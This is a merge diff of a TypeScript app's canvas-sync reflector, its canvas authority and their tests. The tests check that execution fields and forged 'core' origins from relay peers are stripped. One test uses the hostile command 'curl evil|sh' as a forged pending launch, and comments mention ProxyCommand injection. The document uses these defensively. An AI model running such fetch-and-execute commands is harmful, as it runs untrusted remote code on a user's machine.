+ // Every op of a governed project is judged in order, adopted or not, so the verdicts stay
+ // the clients' verdicts. Board ops are keyed per project.
+ if (!order.accept(m, id)) return
+ const g = governed.get(id)
+ if (g) {
+ applyTo(id, g, m)
+ return
+ }
+ const pending = queued.get(id)
+ if (pending) pending.push(m)
+ else queued.set(id, [m])
+ void adopt(id)
+ },
+
+ async overlaySave(ws: Workspace): Promise<Workspace> {
+ const projects = await Promise.all(
+ ws.projects.map(async (p) => {
+ if (!overlayable(p) || !governs(p.id)) return p
+ // Never seeded from a save: the save may be the stale copy this exists to overrule.
+ const g = await adopt(p.id)
+ return g ? overlayProject(p, g, 'save') : p
+ })
+ )
+ return { ...ws, projects }
+ },
+
+ async overlayLoad(ws: Workspace): Promise<Workspace> {
+ const projects = await Promise.all(
+ ws.projects.map(async (p) => {
+ if (!overlayable(p) || !governs(p.id)) return p
+ const g = await adopt(p.id, contentOf(p))
+ return g ? overlayProject(p, g, 'load') : p
+ })
+ )
+ return { ...ws, projects }
+ },
+
+ async adoptOutsideEdit(project: Project): Promise<void> {
+ if (!overlayable(project) || !governs(project.id)) return
+ const g = await adopt(project.id)
+ if (!g || !governs(project.id) || governed.get(project.id) !== g) return
+ const before = g.content
+ // ADOPT the edit, then re-apply what disk does not have yet on top of it (rule 3).
+ let after = governedContent(project)
+ for (const m of g.unflushed) after = applyCanvasOp(after, m, project.id)
+ // The state moves BEFORE the diff is published: the reflector echoes each op back through
+ // `onReflected` synchronously, and there it must find the content already in place.
+ g.content = after
+ for (const m of diffContent(before, after, project.id)) deps.publish(project.id, m)
+ // Disk already has the edit. It is owed a write only if our unflushed ops must go over it.
+ if (g.unflushed.length) markDirty(project.id, g)
+ },
+
+ sharedChanged(): void {
+ if (stopped) return
+ const shared = deps.sharedProjectIds()
+ // What left: write what is pending, then let go (`flush` releases once nothing is owed).
+ for (const id of [...governed.keys()]) if (!shared.has(id)) void flush(id)
+ // What joined: adopt now, so an outside edit that lands before any op still has a baseline to
+ // diff against. The store records its re-read of an edited file before it hands the project
+ // over, so a baseline read after the edit would see no difference at all.
+ for (const id of shared) if (!governed.has(id)) void adopt(id)
+ },
+
+ async flushAll(): Promise<void> {
+ await Promise.all([...adopting.values()])
+ await Promise.all([...governed.keys()].map((id) => drain(id)))
+ },
+
+ async stop(): Promise<void> {
+ if (stopped) return
+ stopped = true
+ // An adoption already reading installs its queued ops; they are written below.
+ await Promise.all([...adopting.values()])
+ await Promise.all([...governed.keys()].map((id) => drain(id)))
+ for (const [id, g] of governed) {
+ clearTimers(g)
+ if (g.dirty) log(`project ${id}: its latest canvas edits could not be written before stopping`)
+ }
+ }
+ }
+}
diff --cc src/core/canvas-sync.convergence.test.ts
index 51fa862a3,03efa1679..0808c82df
--- a/src/core/canvas-sync.convergence.test.ts
+++ b/src/core/canvas-sync.convergence.test.ts
@@@ -19,27 -19,13 +19,28 @@@
import { describe, it, expect, beforeEach, afterEach } from 'vitest'
import { initPlatform, resetPlatformForTests, type CorePlatform } from './platform'
+ import { makeFakeUserDataDir } from './platform-fake'
-import { initCanvasSync, MUTATION_MAX_BYTES } from './canvas-sync'
-import { applyCanvasMutation, isCanvasMutation } from '../shared/canvas-mutations'
-import { createCanvasOrder, createReconnectWatch, PENDING_TTL_MS } from '../shared/canvas-order'
-import { createCanvasPublisher, publishableStates } from '../shared/canvas-publish'
+import { initCanvasSync, MUTATION_MAX_BYTES, setReflectedListener } from './canvas-sync'
+import { createCanvasAuthority } from './canvas-authority'
+import {
+ applyCanvasMutation,
+ applyEdgeMutationToScene,
+ isCanvasMutation,
+ type CanvasScene
+} from '../shared/canvas-mutations'
+import {
+ createCanvasOrder,
+ createReconnectWatch,
+ isRemoveOp,
+ mutationKey,
+ PENDING_TTL_MS
+} from '../shared/canvas-order'
+import { createCanvasPublisher, publishableScene, shouldPublishCanvas } from '../shared/canvas-publish'
+import { applyCanvasOp, type CanvasContent } from '../shared/canvas-content'
+import { defaultKanbanFor } from '../shared/kanban-default-board'
+import { applyKanbanOp, diffKanbanOps, isKanbanOp, sanitizeKanbanOp } from '../shared/kanban-ops'
import { IPC } from '../shared/ipc'
-import type { CanvasMutation, CanvasNodeState } from '../shared/types'
+import type { BridgeLink, CanvasMutation, CanvasNodeState, ProjectKanban } from '../shared/types'
const node = (id: string, x: number, title = 't', color = '#fff'): CanvasNodeState =>
({
diff --cc src/core/canvas-sync.pending-launch.test.ts
index 000000000,095d76534..bb40af179
mode 000000,100644..100644
--- a/src/core/canvas-sync.pending-launch.test.ts
+++ b/src/core/canvas-sync.pending-launch.test.ts
@@@ -1,0 -1,127 +1,149 @@@
+ import { describe, it, expect, beforeEach, afterEach } from 'vitest'
+ import { testTmpDir } from './test-tmp'
+ import { initPlatform, resetPlatformForTests, type CorePlatform } from './platform'
-import { initCanvasSync, publishCanvasMutation, stampMutation } from './canvas-sync'
++import { initCanvasSync, publishCanvasMutation, setReflectedListener, stampMutation } from './canvas-sync'
+ import { IPC } from '../shared/ipc'
+ import type { CanvasMutation, CanvasNodeState, PendingLaunch } from '../shared/types'
+
+ /**
+ * `pendingLaunch` is a machine-local exec field (@shared/node-exec): its `command` is typed into a
+ * shell once the wait is over. The reflector therefore lets it travel ONLY owner→owner (this app's
+ * window / a cookie-authenticated Server Edition tab), marked `origin: 'core'`, and strips it for
+ * every relay peer. And `origin: 'core'` is the core's alone: a client cannot supply it.
+ */
+
+ const launch: PendingLaunch = { after: [], command: 'claude "hi"', attempted: true, manualOnly: true }
+ const node = (id: string, extra: Partial<CanvasNodeState> = {}): CanvasNodeState =>
+ ({
+ id,
+ kind: 'terminal',
+ title: 't',
+ color: '#fff',
+ position: { x: 0, y: 0 },
+ size: { width: 10, height: 10 },
+ ...extra
+ }) as CanvasNodeState
+
+ function testPlatform(owners: number[]) {
+ const sent: Array<{ to: number; m: CanvasMutation }> = []
+ let listener: ((senderId: number, ...args: unknown[]) => void) | undefined
+ let clients: number[] = []
+ const p: CorePlatform = {
+ userDataDir: testTmpDir('nodeterm-canvas-launch-'),
+ appVersion: '0.0.0-test',
+ isPackaged: false,
+ handle: () => {},
+ on: () => {},
+ handleWithSender: () => {},
+ onWithSender: (ch, fn) => {
+ if (ch === IPC.canvasMut) listener = fn
+ },
+ clientIds: () => clients,
+ isOwnerClient: (id) => owners.includes(id),
+ sendTo: (to, channel, _projectId, m) => {
+ if (channel === IPC.canvasMut) sent.push({ to, m: m as CanvasMutation })
+ },
+ broadcast: () => {},
+ openExternal: async () => {}
+ }
+ return {
+ p,
+ sent,
+ setClients: (ids: number[]) => (clients = ids),
+ cast: (senderId: number, m: unknown) => listener?.(senderId, 'p1', m)
+ }
+ }
+
+ let t: ReturnType<typeof testPlatform>
+ const to = (id: number) => t.sent.find((s) => s.to === id)!.m as Extract<CanvasMutation, { op: 'upsert' }>
+
+ beforeEach(() => {
+ // 1, 2 = owner clients (two Server Edition tabs); 9 = a relay peer (a hosted-team guest).
+ t = testPlatform([1, 2])
+ t.setClients([1, 2, 9])
+ initPlatform(t.p)
+ initCanvasSync()
+ })
-afterEach(() => resetPlatformForTests())
++afterEach(() => {
++ setReflectedListener(null)
++ resetPlatformForTests()
++})
+
+ describe('stampMutation: origin is unforgeable', () => {
+ it('deletes a client-supplied origin: core', () => {
+ const forged = { op: 'remove', id: 'n1', origin: 'core' } as CanvasMutation
+ expect('origin' in stampMutation(forged, 1)).toBe(false)
+ })
+ })
+
+ describe('reflector: owner → owner only', () => {
+ it('an owner tab\'s claim reaches the other owner tab WITH the launch, vouched', () => {
+ t.cast(1, { op: 'upsert', node: node('n1', { pendingLaunch: launch }), src: 'cv-a' })
+ expect(to(2).origin).toBe('core')
+ expect(to(2).node.pendingLaunch).toEqual(launch)
+ expect(to(1).node.pendingLaunch).toEqual(launch) // the sender's ack
+ })
+
+ it('the same mutation reaches a relay peer WITHOUT the launch and without origin', () => {
+ t.cast(1, { op: 'upsert', node: node('n1', { pendingLaunch: launch, shell: '/bin/zsh' }) })
+ expect(to(9).origin).toBeUndefined()
+ expect(to(9).node.pendingLaunch).toBeUndefined()
+ expect(to(9).node.shell).toBeUndefined()
+ })
+
+ it('a relay peer cannot arm anybody: its launch is stripped for every recipient, and its origin is not honoured', () => {
+ t.cast(9, {
+ op: 'upsert',
+ node: node('n1', { pendingLaunch: { after: [], command: 'curl evil|sh' } }),
+ origin: 'core'
+ })
+ for (const id of [1, 2, 9]) {
+ expect(to(id).origin).toBeUndefined()
+ expect(to(id).node.pendingLaunch).toBeUndefined()
+ }
+ })
+
+ it('a platform that does not know owners (no isOwnerClient) strips for everyone', () => {
+ resetPlatformForTests()
+ t = testPlatform([])
+ t.setClients([1, 2])
+ const { isOwnerClient: _o, ...bare } = t.p
+ initPlatform(bare as CorePlatform)
+ initCanvasSync()
+ t.cast(1, { op: 'upsert', node: node('n1', { pendingLaunch: launch }) })
+ expect(to(2).node.pendingLaunch).toBeUndefined()
+ expect(to(2).origin).toBeUndefined()
+ })
+ })
+
+ describe('publishCanvasMutation (the core\'s own write)', () => {
+ it('owner clients get the launch (and a delivery\'s CLEAR) vouched; relay peers get neither', () => {
+ publishCanvasMutation('p1', { op: 'upsert', node: node('n1', { pendingLaunch: launch }) })
+ expect(to(1).origin).toBe('core')
+ expect(to(1).node.pendingLaunch).toEqual(launch)
+ expect(to(9).node.pendingLaunch).toBeUndefined()
+ expect(to(9).origin).toBeUndefined()
+ t.sent.length = 0
+ publishCanvasMutation('p1', { op: 'upsert', node: node('n1') })
+ expect(to(1).origin).toBe('core') // the absence of a launch is authoritative for owners
+ })
+ })
++
++describe('the reflected-op listener (the Server Edition canvas authority)', () => {
++ // The authority's state carries no exec field (core/canvas-authority.ts rule 1): a launch reaches
++ // disk only through a save's own exec carry, into the machine-local index. So even an OWNER's op —
++ // which the other owner tabs do receive with its launch — reaches the listener without one.
++ it('hears an owner cast and a core write WITHOUT the launch, while owner tabs still get it', () => {
++ const heard: CanvasMutation[] = []
++ setReflectedListener((_p, m) => heard.push(m))
++ t.cast(1, { op: 'upsert', node: node('n1', { pendingLaunch: launch }) })
++ publishCanvasMutation('p1', { op: 'upsert', node: node('n2', { pendingLaunch: launch }) })
++ expect(heard).toHaveLength(2)
++ for (const m of heard) {
++ expect((m as Extract<CanvasMutation, { op: 'upsert' }>).node.pendingLaunch).toBeUndefined()
++ expect(m.origin).toBeUndefined()
++ }
++ expect(t.sent.filter((x) => x.to === 2).map((x) => (x.m as Extract<CanvasMutation, { op: 'upsert' }>).node.pendingLaunch))
++ .toEqual([launch, launch])
++ })
++})
diff --cc src/core/canvas-sync.test.ts
index 9a014b3be,eb93d8ab8..5597b2f4c
--- a/src/core/canvas-sync.test.ts
+++ b/src/core/canvas-sync.test.ts
@@@ -1,14 -1,9 +1,11 @@@
import { describe, it, expect, beforeEach, afterEach } from 'vitest'
- import { mkdtempSync, rmSync } from 'fs'
- import os from 'os'
- import path from 'path'
import { initPlatform, resetPlatformForTests, type CorePlatform } from './platform'
- import { fakePlatform } from './platform-fake'
+ import { fakePlatform, makeFakeUserDataDir } from './platform-fake'
import {
initCanvasSync,
+ publishCanvasMutation,
reflectTargets,
+ setReflectedListener,
stampMutation,
isCanvasMutation,
MUTATION_MAX_BYTES
@@@ -70,13 -66,7 +69,10 @@@ beforeEach(() =>
initPlatform(t.p)
initCanvasSync()
})
-afterEach(() => resetPlatformForTests())
+afterEach(() => {
+ setReflectedListener(null)
+ resetPlatformForTests()
- // Every test mints a fresh mkdtemp dir above; nothing removed them, so each run leaked one per
- // test into the shared temp dir (see src/core/platform-fake-dirs.ts for what that did to /tmp).
- rmSync(t.p.userDataDir, { recursive: true, force: true })
+})
describe('reflectTargets', () => {
// The sender IS a target: its copy is the ACK that tells it where its own edit landed in the
@@@ -264,140 -213,3 +260,139 @@@ describe('initCanvasSync (reflector)',
expect(t.registrations).toEqual([IPC.canvasMut])
})
})
+
+// Kanban ops ride the same reflector (@shared/kanban-ops): the same ingest verdict, the same stamp —
+// and, because every peer and the authority must receive the SAME repaired op rather than each
+// repairing the raw one, the reflector reflects the SANITIZED op (stamp fields kept).
+describe('initCanvasSync (reflector) — kanban ops', () => {
+ // Ruling R5: a name is REPAIRED (control and bidi characters stripped), never refused — the UI
+ // has no length cap, so a refused rename would silently never sync. A name with nothing left once
+ // repaired is still refused, and so is a bad id.
+ it('refuses a kb-label whose name is empty once repaired, and one with a bad id', () => {
+ t.setClients([1, 2])
+ t.cast(1, 'p1', { op: 'kb-label', label: { id: 'l1', name: '\u0007\u202e ', color: 'red' }, src: 'cv-a' })
+ t.cast(1, 'p1', { op: 'kb-label', label: { id: '', name: 'Bug', color: 'red' }, src: 'cv-a' })
+ expect(t.sent).toEqual([])
+ })
+
+ it('reflects a kb-label whose name carried control / bidi characters with them stripped', () => {
+ t.setClients([1])
+ t.cast(1, 'p1', { op: 'kb-label', label: { id: 'l1', name: 'a\u0007b\u202e', color: 'red' }, src: 'cv-a' })
+ expect(t.sent).toEqual([
+ { to: 1, channel: IPC.canvasMut, args: ['p1', { op: 'kb-label', label: { id: 'l1', name: 'ab', color: 'red' }, src: 'cv-a', seq: 1 }] }
+ ])
+ })
+
+ it('reflects a valid kb-label to every client, stamped with the total order', () => {
+ t.setClients([1, 2])
+ const m = { op: 'kb-label', label: { id: 'l1', name: 'Bug', color: 'red' }, src: 'cv-a', seen: 0 }
+ t.cast(1, 'p1', m)
+ const stamped = { ...m, seq: 1 }
+ expect(t.sent).toEqual([
+ { to: 1, channel: IPC.canvasMut, args: ['p1', stamped] },
+ { to: 2, channel: IPC.canvasMut, args: ['p1', stamped] }
+ ])
+ })
+
+ it('reflects the REPAIRED op: a label colour off the palette becomes default, src/seen kept', () => {
+ t.setClients([1, 2])
+ t.cast(1, 'p1', { op: 'kb-label', label: { id: 'l1', name: ' Bug ', color: 'neon', junk: 'x' }, src: 'cv-a', seen: 0 })
+ const repaired = { op: 'kb-label', label: { id: 'l1', name: 'Bug', color: 'default' }, src: 'cv-a', seen: 0, seq: 1 }
+ expect(t.sent).toEqual([
+ { to: 1, channel: IPC.canvasMut, args: ['p1', repaired] },
+ { to: 2, channel: IPC.canvasMut, args: ['p1', repaired] }
+ ])
+ })
+
+ it('the core\'s own publish path reflects the repaired op too', () => {
+ t.setClients([1])
+ const ok = publishCanvasMutation('p1', {
+ op: 'kb-card',
+ assignment: { nodeId: 'n1', columnId: 'c1', rank: '!!' }
+ } as CanvasMutation)
+ expect(ok).toBe(true)
+ expect(t.sent).toEqual([
+ { to: 1, channel: IPC.canvasMut, args: ['p1', { op: 'kb-card', assignment: { nodeId: 'n1', columnId: 'c1' }, seq: 1 }] }
+ ])
+ })
+
+ it('the core\'s own publish path refuses what the reflector refuses', () => {
+ t.setClients([1])
+ expect(publishCanvasMutation('p1', { op: 'kb-card-remove', nodeId: '' } as CanvasMutation)).toBe(false)
+ expect(t.sent).toEqual([])
+ })
+})
+
+describe('setReflectedListener (the Server Edition canvas authority hears the total order)', () => {
+ // The authority (core/canvas-authority.ts) applies ops in the reflector's order and must see each
+ // one synchronously, right after its stamp: its own published diff echoes back through here while
+ // it is still publishing, and a later op for the same key must never overtake an earlier one.
+ it('sees every reflected op of BOTH ingest paths, in seq order, with its seq', () => {
+ t.setClients([1])
+ const heard: Array<[string, CanvasMutation]> = []
+ setReflectedListener((projectId, m) => heard.push([projectId, m]))
+ t.cast(1, 'p1', { op: 'upsert', node: node('a', 1), src: 'c1' })
+ expect(publishCanvasMutation('p2', { op: 'remove', id: 'b' })).toBe(true)
+ t.cast(1, 'p1', { op: 'edge-upsert', kind: 'bridge', edge: { id: 'e1', source: 'a', target: 'b' } })
+ expect(heard.map(([p, m]) => [p, m.op, m.seq])).toEqual([
+ ['p1', 'upsert', 1],
+ ['p2', 'remove', 2],
+ ['p1', 'edge-upsert', 3]
+ ])
+ // What it hears is exactly what the clients were sent.
+ expect(heard.map(([, m]) => m)).toEqual(t.sent.map((s) => s.args[1]))
+ })
+
+ it('is called synchronously, before the ingest returns', () => {
+ t.setClients([1])
+ let heard = 0
+ setReflectedListener(() => heard++)
+ publishCanvasMutation('p1', { op: 'remove', id: 'a' })
+ expect(heard).toBe(1)
+ t.cast(1, 'p1', { op: 'remove', id: 'b' })
+ expect(heard).toBe(2)
+ })
+
+ it('hears nothing for a refused op, on either path', () => {
+ t.setClients([1])
+ const heard: CanvasMutation[] = []
+ setReflectedListener((_p, m) => heard.push(m))
+ t.cast(1, 'p1', { op: 'upsert', node: { id: 'bad' } })
+ t.cast(1, '', { op: 'remove', id: 'a' })
+ expect(publishCanvasMutation('p1', { op: 'kb-card-remove', nodeId: '' } as CanvasMutation)).toBe(false)
+ expect(publishCanvasMutation('', { op: 'remove', id: 'a' })).toBe(false)
+ expect(heard).toEqual([])
+ })
+
+ it('hears ops even with no client attached (a headless core still persists them)', () => {
+ const heard: CanvasMutation[] = []
+ setReflectedListener((_p, m) => heard.push(m))
+ expect(publishCanvasMutation('p1', { op: 'remove', id: 'a' })).toBe(true)
+ expect(heard).toHaveLength(1)
+ })
+
+ it('a throwing listener never stops the fan-out', () => {
+ t.setClients([1, 2])
+ setReflectedListener(() => {
+ throw new Error('boom')
+ })
+ t.cast(1, 'p1', { op: 'remove', id: 'a' })
+ expect(t.sent.map((s) => s.to)).toEqual([1, 2])
+ })
+
+ it('null detaches it, and a re-init of the reflector does not', () => {
+ t.setClients([1])
+ const heard: CanvasMutation[] = []
+ setReflectedListener((_p, m) => heard.push(m))
+ resetPlatformForTests()
+ const again = testPlatform()
+ initPlatform(again.p)
+ initCanvasSync()
+ again.setClients([1])
+ again.cast(1, 'p1', { op: 'remove', id: 'a' })
+ expect(heard).toHaveLength(1)
+ setReflectedListener(null)
+ again.cast(1, 'p1', { op: 'remove', id: 'b' })
+ expect(heard).toHaveLength(1)
- rmSync(again.p.userDataDir, { recursive: true, force: true })
+ })
+})
diff --cc src/core/canvas-sync.ts
index b48984642,ebeba773b..b6ca07668
--- a/src/core/canvas-sync.ts
+++ b/src/core/canvas-sync.ts
@@@ -20,11 -19,11 +20,15 @@@
// fight its own optimistic state, and the publisher's `adopt` guard still means nothing is
// re-published: no loop.
//
- // Beyond `seq` it is a pipe, not a store: it holds NO canvas state, applies no policy, and persists
- // nothing. The canvas itself stays where it has always been — React Flow in each renderer — and the
- // disk write stays with WorkspaceStore. On a Server Edition hosting a team, the canvas authority
- // hears every stamped op through `setReflectedListener` and writes shared projects' content from
- // them (docs/hosted-team-relay.md); that is the authority's state, never this module's.
+ // Beyond `seq` it is a pipe, not a store: it holds NO canvas state and persists nothing. The one
-// policy it applies is the exec boundary (@shared/node-exec): `shell`/`ssh.extraArgs` never pass,
++// policy it applies is sanitizing what it reflects (`sanitizeCanvasMutation`): a board op is
++// repaired, and the exec boundary holds (@shared/node-exec) — `shell`/`ssh.extraArgs` never pass,
+ // and a held launch (`pendingLaunch`) passes only from an OWNER client to owner clients, stamped
-// `origin: 'core'` (fanOutMutation). The canvas itself stays where it has always been — React Flow in each renderer — and the
-// disk write stays with WorkspaceStore.
++// `origin: 'core'` (fanOutMutation). The canvas itself stays where it has always been — React Flow
++// in each renderer — and the disk write stays with WorkspaceStore. On a Server Edition hosting a
++// team, the canvas authority hears every stamped op through `setReflectedListener` — with the held
++// launch stripped, whoever sent it — and writes shared projects' content from them
++// (docs/hosted-team-relay.md); that is the authority's state, never this module's.
//
// NOT RATE-LIMITED, deliberately — unlike presence (see PRESENCE_RATE_BUDGETS). A presence cast is
// a SAMPLED signal whose loss is self-correcting: the next cursor frame carries the current
@@@ -41,14 -40,10 +45,15 @@@
import { platform, type CorePlatform } from './platform'
import { IPC } from '../shared/ipc'
-import { isCanvasMutation, isRefId, MUTATION_MAX_BYTES } from '../shared/canvas-mutations'
+import {
+ isCanvasMutation,
+ isRefId,
+ MUTATION_MAX_BYTES,
+ sanitizeCanvasMutation
+} from '../shared/canvas-mutations'
+ import { sanitizeInboundMutation } from '../shared/node-exec'
import { type ClientId } from '../shared/presence'
-import type { CanvasMutation } from '../shared/types'
+import type { CanvasMutation, MutationStamp } from '../shared/types'
// The ingest guard (`isCanvasMutation`) and its size cap live in `shared`, because the PUBLISHER
// must reach the same verdict BEFORE it casts: a mutation this reflector refuses is dropped
@@@ -68,29 -63,17 +73,33 @@@ export function reflectTargets(all: Cli
}
/**
- * Stamp a client's mutation with its place in the total order, and BOUND the two client-supplied
- * fields it carries. Pure — exported for the test.
- * Stamp a client's mutation with its place in the total order, and BOUND the client-supplied `src`
- * tag (it is echoed to every peer, and a client could otherwise plant a megabyte there — or forge
++ * Stamp a client's mutation with its place in the total order, and BOUND the client-supplied stamp
++ * fields it carries (`src`, `seen`; a client-supplied `origin` is dropped outright, below). Pure —
++ * exported for the test.
+ *
+ * `src` is echoed to every peer, and a client could otherwise plant a megabyte there — or forge
* another client's tag, which would only ever make that client ignore an edit meant for it, but is
- * still not something to reflect unchecked). Pure — exported for the test.
+ * still not something to reflect unchecked.
+ *
+ * `seen` is the sender's causal position (canvas-order rule 4): an upsert claiming to have seen a
+ * node's delete is applied over it. It cannot legitimately reach the order this mutation is being
+ * GIVEN (the sender can only have seen `seq`s already assigned), so it is clamped to `seq - 1`, and
+ * a non-integer / negative value is dropped ("unstamped": judged exactly as before rule 4 existed).
+ * That is HYGIENE, NOT PROTECTION: the clamp changes no verdict. Every remove ordered before this
+ * mutation has a `seq` at most `seq - 1`, so a clamped forgery still counts as having seen it, and a
+ * remove ordered after it supersedes it by `seq` alone. A forged `seen` resurrects a node a teammate
+ * deleted either way; what bounds that is who may cast at all (`canvas:mut` is Editor-only on a
+ * hosted team, src/core/relay/access-policy.ts).
*/
-export function stampMutation(m: CanvasMutation, seq: number): CanvasMutation {
- const stamped: CanvasMutation = { ...m, seq }
+export function stampMutation<M extends CanvasMutation>(m: M, seq: number): M & MutationStamp {
+ const stamped: M & MutationStamp = { ...m, seq }
if (!isRefId(stamped.src)) delete stamped.src
+ const seen = stamped.seen
+ if (typeof seen !== 'number' || !Number.isInteger(seen) || seen < 0) delete stamped.seen
+ else if (seen >= seq) stamped.seen = seq - 1
+ // `origin: 'core'` is the core's own vouching (it lets a receiver take a held launch as sent), so a
+ // client may never supply it. It is re-added below, per recipient, and only where it is true.
+ delete (stamped as { origin?: unknown }).origin
return stamped
}
@@@ -109,35 -117,6 +143,40 @@@ let registeredOn: CorePlatform | null
*/
let seq = 0
+/**
+ * The one in-process listener of the total order: the Server Edition canvas authority
+ * (core/canvas-authority.ts, docs/hosted-team-relay.md), which writes shared projects' content from
+ * the ops it hears here. Module-level, like `seq`, and deliberately NOT cleared by `initCanvasSync`:
+ * the shell that sets it owns it, and clears it on close.
+ */
+let reflectedListener: ((projectId: string, m: CanvasMutation) => void) | null = null
+
+/**
+ * Set (or, with null, clear) the listener every reflected op reaches. It is called SYNCHRONOUSLY,
+ * right after the stamp, in both ingest paths (a client cast and `publishCanvasMutation`), so call
+ * order is seq order. The authority depends on that: its own published diff echoes back through
+ * here while it is still publishing. A refused op never reaches it.
+ */
+export function setReflectedListener(fn: ((projectId: string, m: CanvasMutation) => void) | null): void {
+ reflectedListener = fn
+}
+
+/** Hand one stamped op to the listener. A throw is logged, never let into the fan-out: every client
- * must still get the op, whatever the authority made of it. */
++ * must still get the op, whatever the authority made of it.
++ *
++ * The listener gets the op WITHOUT its held launch (`pendingLaunch`), even when an owner sent it:
++ * the authority's state carries no exec field (core/canvas-authority.ts rule 1), and a launch
++ * reaches disk only through a save's own exec carry, into the machine-local index. Its reducer
++ * would drop an unvouched launch anyway; stripping it here keeps it out of the op log too. */
+function tellListener(projectId: string, stamped: CanvasMutation): void {
+ if (!reflectedListener) return
+ try {
- reflectedListener(projectId, stamped)
++ reflectedListener(projectId, sanitizeInboundMutation(stamped))
+ } catch (err) {
+ console.warn('[canvas-sync] the reflected-op listener threw', err)
+ }
+}
+
/**
* Publish a mutation originated by the core itself (for example a headless Server Edition
* control request). It takes the same validation, execution-field sanitization and total-order
@@@ -146,12 -125,11 +185,14 @@@
*/
export function publishCanvasMutation(projectId: string, mutation: CanvasMutation): boolean {
if (!isRefId(projectId) || !isCanvasMutation(mutation)) return false
- const clean = sanitizeCanvasMutation(mutation)
++ const clean = sanitizeCanvasMutation(mutation, true)
+ if (!clean) return false
const p = platform()
+ // The core's own write: its held launch is authoritative for owner clients (a headless delivery
+ // CLEARS it there — without that a browser would keep and re-save the stale launch).
- const stamped = stampMutation(sanitizeInboundMutation(mutation, true), ++seq)
+ const stamped = stampMutation(clean, ++seq)
+ tellListener(projectId, stamped)
- for (const id of p.clientIds()) p.sendTo(id, IPC.canvasMut, projectId, stamped)
+ fanOutMutation(p, projectId, stamped, true)
return true
}
@@@ -167,22 -145,19 +208,28 @@@ export function initCanvasSync(): void
if (!isCanvasMutation(mutation)) return
// Stamped ONCE, here: the order every client will agree on. The sender is in the target list —
// its copy is the ack that tells it where its own edit landed (see the header).
- // The exec-enabling node fields (`shell`, `ssh.extraArgs`) are stripped HERE too, so they are
- // not even reflected to the other clients: a peer must not be able to put a program name or an
- // `-o ProxyCommand=…` into anybody's canvas (@shared/node-exec). Every receiver strips them
- // again on apply — this is the cheap upstream half.
- // A held launch (`pendingLaunch`) is kept only when the SENDER is an owner client, and then
- // forwarded only to owner clients (fanOutMutation).
+ // What is stamped is the CLEAN op (`sanitizeCanvasMutation`), so every client receives the same
+ // bytes rather than each repairing the raw cast on its own:
+ // - the exec-enabling node fields (`shell`, `ssh.extraArgs`) are stripped HERE too, so they are
+ // not even reflected to the other clients: a peer must not be able to put a program name or
+ // an `-o ProxyCommand=…` into anybody's canvas (@shared/node-exec). Every receiver strips
+ // them again on apply — this is the cheap upstream half;
++ // - a held launch (`pendingLaunch`) is kept only when the SENDER is an owner client, and then
++ // forwarded only to owner clients (fanOutMutation);
+ // - a kanban op is rebuilt by `sanitizeKanbanOp` (unknown fields dropped, a label colour off the
+ // palette → `default`, an invalid rank / priority / dueAt / category dropped), keeping its
+ // `src` / `seen` so the order can still judge it. Kanban fields land in a git-shared
+ // project.json, and the authority sanitizes again before it writes (the two-seam rule).
- const clean = sanitizeCanvasMutation(mutation)
+ const fromOwner = p.isOwnerClient?.(senderId) === true
- const stamped = stampMutation(sanitizeInboundMutation(mutation, fromOwner), ++seq)
++ const clean = sanitizeCanvasMutation(mutation, fromOwner)
+ if (!clean) return
+ const stamped = stampMutation(clean, ++seq)
+ tellListener(projectId, stamped)
- for (const id of reflectTargets(p.clientIds(), senderId)) {
- p.sendTo(id, IPC.canvasMut, projectId, stamped)
- }
+ fanOutMutation(
+ { clientIds: () => reflectTargets(p.clientIds(), senderId), sendTo: p.sendTo.bind(p), isOwnerClient: p.isOwnerClient?.bind(p) },
+ projectId,
+ stamped,
+ fromOwner
+ )
})
}
diff --cc src/renderer/bridge/relay-api.ts
index 45dd360b0,7100856a0..ccd750cc2
--- a/src/renderer/bridge/relay-api.ts
+++ b/src/renderer/bridge/relay-api.ts
@@@ -46,8 -47,8 +47,9 @@@ import
buildGitHubApi
} from './ws-bridge'
import { buildStubApi } from './stubs'
+ import { relayPtyDataKey } from '../../shared/relay-pty-channel'
import { mountPickerRoot, openDirectoryPicker } from './dialog-picker'
+import { projectIdsBoundToApi } from '../session/session'
/** What Task 6 consumes: the bridged api for `createSession`, an approval gate to await, and a
* teardown hook to run on disconnect/revoke. */
diff --cc src/renderer/bridge/stubs.ts
index 4e4b8e16d,e6b8c601d..76c70cff9
--- a/src/renderer/bridge/stubs.ts
+++ b/src/renderer/bridge/stubs.ts
@@@ -590,12 -590,15 +590,22 @@@ export function buildStubApi(): Omit
onChanged: noopUnsub,
reportDropped: noop
},
+ // Same split: the Server Edition overrides it (`buildStationOutcomeApi`); a relay tab keeps this.
+ stationOutcome: {
+ list: async () => [],
+ onChanged: noopUnsub
+ },
+ // Same split again: the Server Edition overrides it (`buildStationHandoverApi`).
+ stationHandover: {
+ list: async () => [],
+ onChanged: noopUnsub
++ },
+ // Governs nothing by default. The Server Edition overrides it with the real bridge
+ // (`buildCanvasAuthorityApi`); a relay tab answers from its own connection (relay-api.ts).
+ canvasAuthority: {
+ assumeAllUntilAnswered: false,
+ governed: async () => [],
+ onChanged: noopUnsub
}
} satisfies Omit<
NodeTerminalApi,
diff --cc src/renderer/bridge/ws-bridge.ts
index 054c63a68,3df73ebe4..f67ade5b7
--- a/src/renderer/bridge/ws-bridge.ts
+++ b/src/renderer/bridge/ws-bridge.ts
@@@ -1235,8 -1251,9 +1272,10 @@@ export async function installWsBridge()
...buildFilesApi(client),
...buildAgentApi(client),
...buildStationNoticeApi(client),
+ ...buildStationOutcomeApi(client),
+ ...buildStationHandoverApi(client),
...buildCanvasApi(client),
+ ...buildCanvasAuthorityApi(client),
...buildPresenceApi(client),
...buildSpeechApi(client),
...buildUsageApi(client),
diff --cc src/renderer/canvas/Canvas.tsx
index fb3880048,4f34389f2..989040db3
--- a/src/renderer/canvas/Canvas.tsx
+++ b/src/renderer/canvas/Canvas.tsx
@@@ -401,8 -405,8 +405,8 @@@ import
shouldShowExplorerPinHint,
writeSeenExplorerPinHint
} from '../lib/explorerPinHint'
-import { useProjects } from '../state/projects'
+import { setKanbanPublishHook, useProjects } from '../state/projects'
- import { useAgentStatus } from '../state/agentStatus'
+ import { useAgentStatus, recordsTurnInterrupt } from '../state/agentStatus'
import { hostChatSend, hostChatSession, hostChatStatus } from '../lib/hostChatQuery'
import { chatPaneRefusal } from '../lib/chatPaneGate'
import { useLaunchDelivery } from '../state/launchDelivery'
@@@ -629,23 -669,12 +671,24 @@@ import { focusTargetId } from '../lib/f
import {
createCanvasPublisher,
isEphemeralNodeId,
- publishableStates,
+ publishableScene,
type CanvasPublisher
